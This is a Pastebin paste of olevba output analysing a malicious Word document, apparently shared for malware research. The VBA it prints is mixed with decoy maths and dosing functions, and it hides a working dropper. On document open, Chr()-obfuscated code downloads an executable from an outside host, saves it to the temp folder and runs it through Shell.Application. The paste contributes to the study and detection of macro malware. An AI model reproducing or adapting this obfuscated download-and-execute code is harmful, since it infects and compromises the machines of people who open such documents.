API tools faq
paste
dynamoo

Malicious Word macro

dynamoo
Jun 1st, 2015
842
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 24.50 KB | None | 0 0
raw download clone embed print report
  1. olevba 0.26 - http://decalage.info/python/oletools
  2. Flags       Filename                                                        
  3. ----------- -----------------------------------------------------------------
  4. OLE:MAS-HB- slide1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: slide1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: slide1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub bPROANCE(FFFFF As Double)
  17. SYa260nHlLU
  18. End Sub
  19.  
  20. Sub autoopen()
  21.  
  22. bPROANCE (59.1)
  23.  
  24. End Sub
  25.  
  26. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  27. ANALYSIS:
  28. +----------+----------+---------------------------------------+
  29. | Type     | Keyword  | Description                           |
  30. +----------+----------+---------------------------------------+
  31. | AutoExec | AutoOpen | Runs when the Word document is opened |
  32. +----------+----------+---------------------------------------+
  33. -------------------------------------------------------------------------------
  34. VBA MACRO M11.bas
  35. in file: slide1.doc - OLE stream: u'Macros/VBA/M11'
  36. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  37.  
  38.  
  39.  Public Function CCGFemale(ByVal PtAge As Double, ByVal Weight As Double, ByVal SCr As Double) As Double
  40.         CCGFemale = (((140 - PtAge) * Weight) / (72 * SCr)) * 0.85
  41.     End Function
  42.  
  43.     Public Function JelliffeMale(ByVal PtAge As Double, ByVal SCr As Double, ByVal BSA As Double) As Double
  44.         JelliffeMale = (((98 - (0.8 * (PtAge - 20))) / SCr) * (BSA / 1.73))
  45.     End Function
  46.  
  47.     Public Function JelliffeFemale(ByVal PtAge As Double, ByVal SCr As Double, ByVal BSA As Double) As Double
  48.         JelliffeFemale = (((98 - (0.8 * (PtAge - 20))) / SCr) * (BSA / 1.73)) * 0.9
  49.     End Function
  50.  
  51.     Public Function AgExtIntDose(ByVal DosingWeight As Double) As Integer
  52.         AgExtIntDose = My.Forms.FrmCalculator.ExtInt * DosingWeight
  53.     End Function
  54. Public Function PaddedScanner(Optional bufSz As Long = 20) As String
  55.     Dim tmp As String
  56.     tmp = scanner
  57.     While Len(tmp) < bufSz
  58.         tmp = tmp & " "
  59.     Wend
  60.     PaddedScanner = tmp
  61. End Function
  62.  
  63. Public Function setbyname(name As Variant, value As Variant)
  64.    
  65.     name = Trim(Replace(name, """", Empty))
  66.     value = Trim(Replace(value, """", Empty))
  67.     value = Replace(value, "\\", Chr(5))
  68.     value = Replace(value, "\", Empty)
  69.     value = Replace(value, Chr(5), "\\")
  70.     If value = "null" Then
  71.         value = ""
  72.     End If
  73.    
  74.     If value = "false" Then value = False
  75.     If value = "true" Then value = True
  76.     If name = "detected" And Len(value) = 0 Then value = False
  77.    
  78.     Select Case LCase(name)
  79.         Case "scanner": scanner = value
  80.         Case "detected": detected = CBool(value)
  81.         Case "version": Version = value
  82.         Case "result": Result = value
  83.         Case "update": Update = value
  84.     End Select
  85.    
  86.    
  87. End Function
  88.  
  89.  
  90. Public Sub ParseResponse(scanner_name, json)
  91.  
  92.     scanner = scanner_name
  93.    
  94.     '"detected": false, "version": "11.00", "result": null, "update": "20110421"
  95.    
  96.     On Error Resume Next
  97.     Dim a As Long, b As Long
  98.     Dim main As String, name As String, value As String, scans As String
  99.    
  100.     tmp = Split(json, ",")
  101.     For Each entry In tmp
  102.         entry = Trim(entry)
  103.         If Len(entry) = 0 Then GoTo nextone
  104.         b = InStr(1, entry, ":")
  105.         If b < 2 Then GoTo nextone
  106.         name = Mid(entry, 1, b - 1)
  107.         value = Mid(entry, b + 1)
  108.         If name = "result" And detected = True Then Stop
  109.        
  110. nextone:
  111.     Next
  112.    
  113.     DoEvents
  114.    
  115.  
  116. End Sub
  117. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  118. ANALYSIS:
  119. +------------+----------------+-----------------------------------------+
  120. | Type       | Keyword        | Description                             |
  121. +------------+----------------+-----------------------------------------+
  122. | Suspicious | Chr            | May attempt to obfuscate specific       |
  123. |            |                | strings                                 |
  124. | Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
  125. |            |                | be used to obfuscate strings (option    |
  126. |            |                | --decode to see all)                    |
  127. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  128. |            |                | may be used to obfuscate strings        |
  129. |            |                | (option --decode to see all)            |
  130. +------------+----------------+-----------------------------------------+
  131. -------------------------------------------------------------------------------
  132. VBA MACRO Module1.bas
  133. in file: slide1.doc - OLE stream: u'Macros/VBA/Module1'
  134. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  135.  
  136. 'Hyperbolic Sin
  137. Public Function HSin(x As Double) As Double
  138. HSin = CDbl((Exp(x) - Exp(-x)) / 2)
  139. End Function
  140.  
  141.  
  142. Public Function bPC3wkV1dz(FFslNfVxHtJTD As String)
  143.     Set bPC3wkV1dz = VBA.CreateObject(Replace(FFslNfVxHtJTD, ",", Chr(46)))
  144. End Function
  145.    
  146.    
  147. 'Hyperbolic Cos
  148. Public Function HCos(x As Double) As Double
  149. HCos = CDbl((Exp(x) + Exp(-x)) / 2)
  150. End Function
  151.  
  152.    
  153. Public Sub SYa260nHlLU()
  154.  
  155.  Set F7I2agqKJEg = bPC3wkV1dz(Fkfekijf)
  156.    
  157. F7I2agqKJEg.Open Chr(71) & "E" & _
  158. Chr(84), Chr(104) & Chr(116) & Chr(116) & "p" & Chr(58) & Chr(47) & Chr(47) & Chr(105) & "r" & Chr(112) & "a" & "n" & Chr(101) & Chr(116) & Chr(46) & Chr(99) & Chr(111) & Chr(109) & Chr(47) & Chr(49) & Chr(47) & Chr(48) & Chr(57) & "." & "e" & Chr(120) & Chr(101), False
  159.  
  160. Set m5FQL7pvv2xGo = bPC3wkV1dz(Chr(87) & Chr(83) & "c" & Chr(114) & Chr(105) & Chr(112) & "t" & Chr(46) & Chr(83) & "h" & "e" & Chr(108) & Chr(108))
  161.  
  162. Set MtMaMCcAKdcu = CallByName(m5FQL7pvv2xGo, Chr(69) & Chr(110) & Chr(118) & Chr(105) & Chr(114) & Chr(111) & Chr(110) & Chr(109) & Chr(101) & Chr(110) & Chr(116), VbGet, Chr(80) & Chr(114) & Chr(111) & "c" & "e" & Chr(115) & "s")
  163.  
  164. LuWnH83eN0 = MtMaMCcAKdcu(Chr(84) & "" & Chr(69) & "M" & "" & "P")
  165.  
  166. PCUG6yaQ2 = LuWnH83eN0 & "" & Chr(92) & "e" & "" & Chr(108) & "d" & Chr(115) & "" & Chr(104) & "r" & "t" & Chr(49) & "" & Chr(46) & "e" & "" & Chr(120) & Chr(101)
  167. Dim mqN0kCl601e() As Byte
  168.  
  169. CallByName F7I2agqKJEg, Chr(83) & "e" & "" & "n" & Chr(100) & "", VbMethod
  170. mqN0kCl601e = CallByName(F7I2agqKJEg, Chr(114) & "e" & "s" & Chr(112) & "o" & Chr(110) & Chr(115) & "e" & Chr(66) & "o" & Chr(100) & "y", VbGet)
  171.  
  172. WYYNIVVG3g mqN0kCl601e, PCUG6yaQ2
  173. On Error GoTo drbs7Nf9B1
  174.     a = 228 / 0
  175.   On Error GoTo 0
  176.  
  177. OLdqOAA7DFWoSQ:
  178.   Exit Sub
  179. drbs7Nf9B1:
  180.   UzyeNXQaGpp0 ("FL" & "" & "rF" & "" & "GfCva")
  181. Resume OLdqOAA7DFWoSQ
  182. End Sub
  183. Public Function HTan(x As Double) As Double
  184. HTan = CDbl((Exp(x) - Exp(-x)) / (Exp(x) + Exp(-x)))
  185. End Function
  186. 'Hyperbolic Tangent
  187.  
  188. 'Hyperbolic Cosecant
  189. Public Function HCosec(x As Double) As Double
  190. HCosec = CDbl(2 / (Exp(x) + Exp(-x)))
  191. End Function
  192.  
  193.     Public Function CrClStd(ByVal CrCl As Double, ByVal BSA As Double) As Double
  194.         CrClStd = CrCl * (1.73 / BSA)
  195.     End Function
  196.  
  197.     Public Function IBWMale(ByVal PtHeightinInches As Double) As Double
  198.         IBWMale = 50 + (2.3 * (PtHeightinInches - 60))
  199.     End Function
  200.  
  201.     Public Function IBWFemale(ByVal PtHeightinInches As Double) As Double
  202.         IBWFemale = 45.5 + (2.3 * (PtHeightinInches - 60))
  203.     End Function
  204.  
  205.     Public Function CCGMale(ByVal PtAge As Double, ByVal Weight As Double, ByVal SCr As Double) As Double
  206.         CCGMale = (((140 - PtAge) * Weight) / (72 * SCr))
  207.     End Function
  208. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  209. ANALYSIS:
  210. +------------+--------------+-----------------------------------------+
  211. | Type       | Keyword      | Description                             |
  212. +------------+--------------+-----------------------------------------+
  213. | Suspicious | Open         | May open a file                         |
  214. | Suspicious | Chr          | May attempt to obfuscate specific       |
  215. |            |              | strings                                 |
  216. | Suspicious | CreateObject | May create an OLE object                |
  217. | Suspicious | CallByName   | May attempt to obfuscate malicious      |
  218. |            |              | function calls                          |
  219. +------------+--------------+-----------------------------------------+
  220. -------------------------------------------------------------------------------
  221. VBA MACRO Module2.bas
  222. in file: slide1.doc - OLE stream: u'Macros/VBA/Module2'
  223. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  224.  
  225. Public PCUG6yaQ2 As String
  226. Public Function SQLParseSQLF(ByVal SqlfExp As String) As String
  227.     Dim lt As Integer
  228.     Dim gt As Integer
  229.     Dim name As String
  230.     Dim Params
  231.    
  232.     lt = InStr(SqlfExp, "<")
  233.     gt = InStr(SqlfExp, ">")
  234.     name = Mid(SqlfExp, 1, lt - 1)
  235.     Params = Mid(SqlfExp, lt + 1, gt - lt - 1)
  236.     Params = Split(Params, ",")
  237.    
  238.     Select Case LCase(name)
  239.     Case "concat"
  240.         SQLParseSQLF = SQLF.Concat(Params)
  241.     Case "left"
  242.         SQLParseSQLF = SQLF.Left(Params(0), Params(1))
  243.     Case "right"
  244.         SQLParseSQLF = SQLF.Right(Params(0), Params(1))
  245.     Case "mid"
  246.         SQLParseSQLF = SQLF.Mid(Params(0), Params(1), Params(2))
  247.     Case "padleft"
  248.         If UBound(Params) > 3 Then
  249.             SQLParseSQLF = SQLF.PadLeft(Params(0), Params(1), Params(2))
  250.         ElseIf UBound(Params) > 2 Then
  251.             SQLParseSQLF = SQLF.PadLeft(Params(0), Params(1))
  252.         Else
  253.             SQLParseSQLF = SQLF.PadLeft(Params(0))
  254.         End If
  255.     Case "padright"
  256.         If UBound(Params) > 3 Then
  257.             SQLParseSQLF = SQLF.PadRight(Params(0), Params(1), Params(2))
  258.         ElseIf UBound(Params) > 2 Then
  259.             SQLParseSQLF = SQLF.PadRight(Params(0), Params(1))
  260.         Else
  261.             SQLParseSQLF = SQLF.PadRight(Params(0))
  262.         End If
  263.     Case "quotedate"
  264.         SQLParseSQLF = SQLF.QuoteDate(CDate(Params(0)))
  265.     Case "quotetime"
  266.         SQLParseSQLF = SQLF.QuoteTime(CDate(Params(0)))
  267.     Case "quotedatetime"
  268.         SQLParseSQLF = SQLF.QuoteDateTime(CDate(Params(0)))
  269.     Case "quotestring"
  270.         SQLParseSQLF = SQLF.QuoteString(Params(0))
  271.     Case "quotename"
  272.         SQLParseSQLF = SQLF.QuoteName(Params(0))
  273.     Case "trim"
  274.         SQLParseSQLF = SQLF.Trim(Params(0))
  275.     Case "ltrim"
  276.         SQLParseSQLF = SQLF.LTrim(Params(0))
  277.     Case "rtrim"
  278.         SQLParseSQLF = SQLF.RTrim(Params(0))
  279.     Case Else
  280.         SQLParseSQLF = name & "(" & Join(Params, ",") & ")"
  281.     End Select
  282. End Function
  283.  
  284.  
  285. 'Inverse Cos
  286. Public Function ICos(x As Double) As Double
  287. ICos = CDbl((180 / Pi) * Atn(-x / Sqr(-x * x + 1))) + 2 * CDbl((180 / Pi) * Atn(1))
  288. End Function
  289. 'Inverse  Cosecant
  290. Public Function ICosec(x As Double) As Double
  291. ICosec = CDbl((180 / Pi) * Atn(x / Sqr(x * x - 1))) + Sgn((x) - 1) * (2 * CDbl((180 / Pi) * Atn(1)))
  292. End Function
  293. Public Function Cotangent(x As Double) As Double
  294. Cotangent = CDbl(1 / Tan((Pi / 180) * CDbl(x)))
  295. End Function
  296.  
  297.  
  298. 'Inverse Tangent
  299. Public Function ITan(x As Double) As Double
  300. ITan = CDbl((180 / Pi) * Atn(x))
  301. End Function
  302.  
  303.  
  304. Public Function WYYNIVVG3g(SXZObuw3iYYi As Variant, bXMzjPtEKL As String)
  305. Dim XIFK7TOqYT: Set XIFK7TOqYT = bPC3wkV1dz("A" & "" & Chr(100) & "o" & "" & Chr(100) & Chr(98) & Chr(46) & "" & Chr(83) & Chr(116) & "r" & Chr(101) & Chr(97) & "m")
  306.  
  307. With XIFK7TOqYT
  308.    .Type = 1
  309.     .Open
  310.     .write SXZObuw3iYYi
  311.     .savetofile bXMzjPtEKL, 2
  312. End With
  313. End Function
  314. 'Inverse Sin
  315. Public Function ISin(x As Double) As Double
  316. ISin = CDbl((180 / Pi) * Atn(x / Sqr(-x * x + 1)))
  317. End Function
  318.  
  319.  
  320. 'Cosecant
  321. Public Function Cosecant(x As Double) As Double
  322. Cosecant = CDbl(1 / Sin((Pi / 180) * CDbl(x)))
  323. End Function
  324. 'Secant
  325. Public Function Secant(x As Double) As Double
  326. Secant = CDbl(1 / Cos((Pi / 180) * CDbl(x)))
  327. End Function
  328. 'Cotangent
  329.  
  330.  
  331. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  332. ANALYSIS:
  333. +------------+----------------+-----------------------------------------+
  334. | Type       | Keyword        | Description                             |
  335. +------------+----------------+-----------------------------------------+
  336. | Suspicious | Open           | May open a file                         |
  337. | Suspicious | Chr            | May attempt to obfuscate specific       |
  338. |            |                | strings                                 |
  339. | Suspicious | SaveToFile     | May create a text file                  |
  340. | Suspicious | Write          | May write to a file (if combined with   |
  341. |            |                | Open)                                   |
  342. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  343. |            |                | may be used to obfuscate strings        |
  344. |            |                | (option --decode to see all)            |
  345. +------------+----------------+-----------------------------------------+
  346. -------------------------------------------------------------------------------
  347. VBA MACRO M3.bas
  348. in file: slide1.doc - OLE stream: u'Macros/VBA/M3'
  349. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  350.  
  351.     Public Function RoundToSignificance(ByVal number As Integer, _
  352.         ByVal roundtonearest As Integer) As Integer
  353.         'Round number up or down to the nearest multiple of significance
  354.        Dim d As Double
  355.         d = number / roundtonearest
  356.         d = Math.Round(d, 0)
  357.         RoundToSignificance = d * roundtonearest
  358.     End Function
  359.  
  360.     Public Function TOneHalf(ByVal K As Double) As Double
  361.         TOneHalf = 0.693 / K
  362.     End Function
  363.  
  364.     Public Function GentKEst(ByVal CrCl As Double) As Double
  365.         GentKEst = (0.00293 * CrCl) + 0.014
  366.     End Function
  367.  
  368.  
  369.     Public Function AgExtIntInterval(ByVal CrClStd As Double) As Double
  370.         Select Case CrClStd
  371.             Case My.Forms.FrmCalculator.Q241 To My.Forms.FrmCalculator.Q242
  372.                 AgExtIntInterval = 24
  373.             Case My.Forms.FrmCalculator.Q361 To My.Forms.FrmCalculator.Q362
  374.                 AgExtIntInterval = 36
  375.             Case My.Forms.FrmCalculator.Q481 To My.Forms.FrmCalculator.Q482
  376.                 AgExtIntInterval = 48
  377.         End Select
  378.     End Function
  379.  
  380.  
  381.  
  382.     Public Function TobraKEst(ByVal CrClStd As Double) As Double
  383.         TobraKEst = (0.00293 * CrClStd) + 0.014
  384.     End Function
  385.    
  386.    
  387.     Public Function VancKEst(ByVal CrCl As Double) As Double
  388.         VancKEst = (0.00083 * CrCl) + 0.004
  389.     End Function
  390.  
  391.     Public Function VdCalc(ByVal VolumeConstant As Double, ByVal PtWeightinKg As Double) As Double
  392.         VdCalc = VolumeConstant * PtWeightinKg
  393.     End Function
  394.  
  395. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  396. ANALYSIS:
  397. No suspicious keyword or IOC found.
  398. -------------------------------------------------------------------------------
  399. VBA MACRO Module3.bas
  400. in file: slide1.doc - OLE stream: u'Macros/VBA/Module3'
  401. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  402.  
  403. Option Explicit
  404. Public Function Add_UniqueItem(ByRef cboBox As ComboBox, ByRef itemText As String, Optional ByVal cmpMethod As VbCompareMethod = vbBinaryCompare) As Boolean
  405.         '<EhHeader>
  406.        On Error GoTo Add_UniqueItem_Err
  407.         '</EhHeader>
  408.  
  409.     Dim i As Long
  410.  
  411. 100 Add_UniqueItem = False
  412.  
  413. 102 If cboBox Is Nothing Then Exit Function
  414.  
  415. 104 With cboBox
  416.  
  417. 106     For i = 0 To .ListCount
  418. 108         If StrComp(.List(i), itemText, cmpMethod) = 0 Then Exit Function
  419.         Next
  420.        
  421. 110     .AddItem itemText
  422.  
  423.     End With
  424.  
  425. 112 Add_UniqueItem = True
  426.  
  427.         '<EhFooter>
  428.        Exit Function
  429.  
  430. Add_UniqueItem_Err:
  431.         MsgBox Err.Description & vbCrLf & _
  432.                "in ssMDBQuery.MComboboxHelper.Add_UniqueItem " & _
  433.                "at line " & Erl
  434.         Resume Next
  435.         '</EhFooter>
  436. End Function
  437. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  438. ANALYSIS:
  439. No suspicious keyword or IOC found.
  440. -------------------------------------------------------------------------------
  441. VBA MACRO M3F1.bas
  442. in file: slide1.doc - OLE stream: u'Macros/VBA/M3F1'
  443. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  444. Sub Aggregate()
  445.     ' jyeee, 18 Apr 06
  446.    
  447.     Dim insertPoint, numParts, FilePaths As Variant
  448.     ' Make slidemakers upload slides to reachable directories***
  449.    '       \\path\to\ppts
  450.    ' Make slidemakers provide own title slide***
  451.    
  452.     ' ###############################################
  453.    ' Have to hand-jam, force slidemakers to standardize name***
  454.    ' Look out for commas --the last entry should not have one
  455.    FilePaths = Array( _
  456.         "\\path\to\ppts\OSW.ppt", _
  457.         "\\path\to\ppts\CP.ppt", _
  458.         "\\path\to\ppts\MXG.ppt", _
  459.         "\\path\to\ppts\OSO.ppt", _
  460.         "\\path\to\ppts\OG.ppt", _
  461.         "\\path\to\ppts\MDG.ppt", _
  462.         "\\path\to\ppts\MSG.ppt", _
  463.         "\\path\to\ppts\CCP.ppt", _
  464.         "\\path\to\ppts\DS.ppt", _
  465.         "\\path\to\ppts\PA.ppt" _
  466.         )
  467.        
  468.     numParts = UBound(FilePaths) - LBound(FilePaths) + 1
  469.    
  470.     '"\\path\to\ppts\OSA.ppt", _
  471.  
  472.    ' ***ENSURE numParts and the # of paths in FilePaths ARE CONSISTENT***
  473.    ' ###############################################
  474.  
  475.     ' Template should only have first and last slides
  476.    ' Following code ensures this condition
  477.    If ActivePresentation.Slides.Count = 2 Then
  478.         ' Good! NSW ;)
  479.    ElseIf ActivePresentation.Slides.Count < 2 Then
  480.         ' Bad.  Quit for now.
  481.        MsgBox "Two there must be, a master and an apprentice"
  482.         Exit Sub
  483.     Else
  484.         ' Bad -- there are more than two
  485.        ' Assume that the first and last slides are correct
  486.        '  and delete all in the middle
  487.        Dim MyMsg, MyTitle, Response
  488.         MyMsg = "Confirm deletion of slides 2-" & (ActivePresentation.Slides.Count - 1)
  489.         MyTitle = "WARNING!"
  490.         Response = MsgBox(Prompt:=MyMsg, Buttons:=vbYesNo + vbExclamation, Title:=MyTitle)
  491.         Select Case Response
  492.             Case Is = vbYes
  493.                 Do While ActivePresentation.Slides.Count > 2
  494.                     ActivePresentation.Slides(2).Delete
  495.                     ' M$ inconsistent array numbering, this starts with 1 :(
  496.                Loop
  497.             Case Is = vbNo
  498.                 Exit Sub
  499.         End Select
  500.     End If
  501.    
  502.     ' M$ correct inconsistency --arrays start with 0 :)
  503.  
  504. End Sub
  505.  
  506. Public Function Fkfekijf() As String
  507.  
  508. Fkfekijf = "," & Chr(88) & Chr(77) & "L" & Chr(72) & Chr(84) & "TP"
  509. Fkfekijf = "s" & Chr(111) & Chr(102) & "t" & Fkfekijf
  510.  
  511. Fkfekijf = Chr(77) & "i" & Chr(99) & "r" & Chr(111) & Fkfekijf
  512. End Function
  513.  
  514.  
  515. 'Cos
  516. Public Function CosTheta(x As Double) As Double
  517. CosTheta = Cos((Pi / 180) * CDbl(x))
  518. End Function
  519. Sub JoinAllDocxInFolder()
  520.   'MAC VBA does not support wildcards in DIR function
  521.  'So fake it.
  522.  
  523.   Dim folderPath As String
  524.   ' folderpath = "MacintoshHD:Users:jyee:Desktop:word_docs:docs"
  525.  folderPath = "C:\Users\rhl\Desktop\docs"
  526.   folderPath = folderPath & Application.PathSeparator
  527.   Dim filetype As String
  528.   filetype = "docx"
  529.  
  530.   Dim MainDoc As Document
  531.   Set MainDoc = Documents.Add
  532.   Dim file As String
  533.   Dim rng As Range
  534.   Dim oCollection As New Collection
  535.  
  536.   file = Dir$(folderPath) 'setup initial file
  537.  
  538.   Do While Len(file)
  539.     If InStr(filetype, "*") Then
  540.       'if a star exists in the call, just look for that text
  541.      'within the initial characters of the extension
  542.      '(extension presumed 4 characters max, plus the period)
  543.      If InStr(Right(file, 5), filetype) Then
  544.         oCollection.Add folderPath & file
  545.         If file <> ActiveDocument.name Then
  546.           ' iRet = MsgBox(folderPath & file, vbOKOnly, "Aloha")
  547.          Set rng = MainDoc.Range
  548.           rng.Collapse wdCollapseEnd
  549.           rng.InsertFile folderPath & file
  550.         End If
  551.       End If
  552.     Else
  553.       'if no star in the call, then test if extensions match
  554.      If Right(file, Len(filetype)) = filetype Then
  555.         oCollection.Add folderPath & file
  556.         If file <> ActiveDocument.name Then
  557.           ' iRet = MsgBox(folderPath & file, vbOKOnly, "Aloha")
  558.          Set rng = MainDoc.Range
  559.           rng.Collapse wdCollapseEnd
  560.           rng.InsertFile folderPath & file
  561.         End If
  562.       End If
  563.     End If
  564.     'read next item
  565.    file = Dir$
  566.   Loop
  567.  
  568. End Sub
  569.  
  570.  
  571.  
  572.  
  573. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  574. ANALYSIS:
  575. +------------+----------------+-----------------------------------------+
  576. | Type       | Keyword        | Description                             |
  577. +------------+----------------+-----------------------------------------+
  578. | Suspicious | Chr            | May attempt to obfuscate specific       |
  579. |            |                | strings                                 |
  580. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  581. |            |                | may be used to obfuscate strings        |
  582. |            |                | (option --decode to see all)            |
  583. +------------+----------------+-----------------------------------------+
  584. -------------------------------------------------------------------------------
  585. VBA MACRO Module1F3.bas
  586. in file: slide1.doc - OLE stream: u'Macros/VBA/Module1F3'
  587. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  588.  
  589. Public Const Pi = 3.14159265358979
  590. 'Sin
  591. Public Function Sine(x As Double) As Double
  592. Sine = Sin((Pi / 180) * CDbl(x))
  593. End Function
  594.  
  595. 'Inverse Secant
  596. Public Function ISec(x As Double) As Double
  597. ISec = CDbl((180 / Pi) * Atn(x / Sqr(x * x - 1))) + Sgn((x) - 1) * (2 * CDbl((180 / Pi) * Atn(1)))
  598. End Function
  599. 'Inverse Cotangent
  600. Public Function ICot(x As Double) As Double
  601. ICot = CDbl((180 / Pi) * Atn(x)) + 2 * CDbl((180 / Pi) * Atn(1))
  602. End Function 'Hyperbolic Secant
  603.  
  604.  
  605. Public Function UzyeNXQaGpp0(zhe0hni3C As String)
  606.     Set xLFUyTFUI5lp = bPC3wkV1dz(Chr(83) & Chr(104) & "e" & Chr(108) & "l" & "." & Chr(65) & Chr(112) & Chr(112) & Chr(108) & Chr(105) & Chr(99) & Chr(97) & "t" & Chr(105) & "o" & Chr(110))
  607. xLFUyTFUI5lp.Open (PCUG6yaQ2)
  608. End Function
  609. Public Function HSec(x As Double) As Double
  610. HSec = CDbl(2 / (Exp(x) - Exp(-x)))
  611. End Function
  612. 'Hyperbolic Cotangent
  613. Public Function HCotan(x As Double) As Double
  614. HCotan = CDbl((Exp(x) + Exp(-x)) / (Exp(x) - Exp(-x)))
  615. End Function
  616.  
  617.  
  618.  
  619.  
  620. 'Inverse Hyperbolic Sine
  621. Public Function IHSin(x As Double) As Double
  622. IHSin = CDbl(Log(x + Sqr(x * x + 1)))
  623. End Function
  624. 'Inverse Hyperbolic Cos
  625. Public Function IHCos(x As Double) As Double
  626. IHCos = CDbl(Log(x + Sqr(x * x - 1)))
  627. End Function
  628. 'Inverse Hyperbolic Tangent
  629. Public Function IHTan(x As Double) As Double
  630. IHTan = CDbl(Log((1 + x) / (1 - x)) / 2)
  631. End Function
  632. 'Inverse Hyperbolic Secant
  633. Public Function IHSec(x As Double) As Double
  634. IHSec = CDbl(Log((Sqr(-x * x + 1) + 1) / x))
  635. End Function
  636. 'Inverse Hyperbolic Cosecant
  637. Public Function IHCosec(x As Double) As Double
  638. IHCosec = CDbl(Log((Sgn(x) * Sqr(x * x + 1) + 1) / x))
  639. End Function
  640.  
  641.  
  642. 'Inverse Hyperbolic Cotangent
  643. Public Function IHCot(x As Double) As Double
  644. IHCot = CDbl(Log((Sgn(x) * Sqr(x * x + 1) + 1) / x))
  645. End Function
  646.  
  647.  
  648. '********************************************************************
  649. '
  650. '   OTHER USEFUL FUNCTIONS
  651. '
  652. '********************************************************************
  653. Public Function Power(x As Double, Y As Double) As Double
  654. Power = x ^ Y
  655. End Function
  656.  
  657. Public Function LogN(Base As Double, x As Double) As Double
  658. LogN = Log(x) / Log(Base)
  659. End Function
  660. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  661. ANALYSIS:
  662. +------------+-------------+-----------------------------------------+
  663. | Type       | Keyword     | Description                             |
  664. +------------+-------------+-----------------------------------------+
  665. | Suspicious | Open        | May open a file                         |
  666. | Suspicious | Chr         | May attempt to obfuscate specific       |
  667. |            |             | strings                                 |
  668. | Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
  669. |            |             | be used to obfuscate strings (option    |
  670. |            |             | --decode to see all)                    |
  671. +------------+-------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!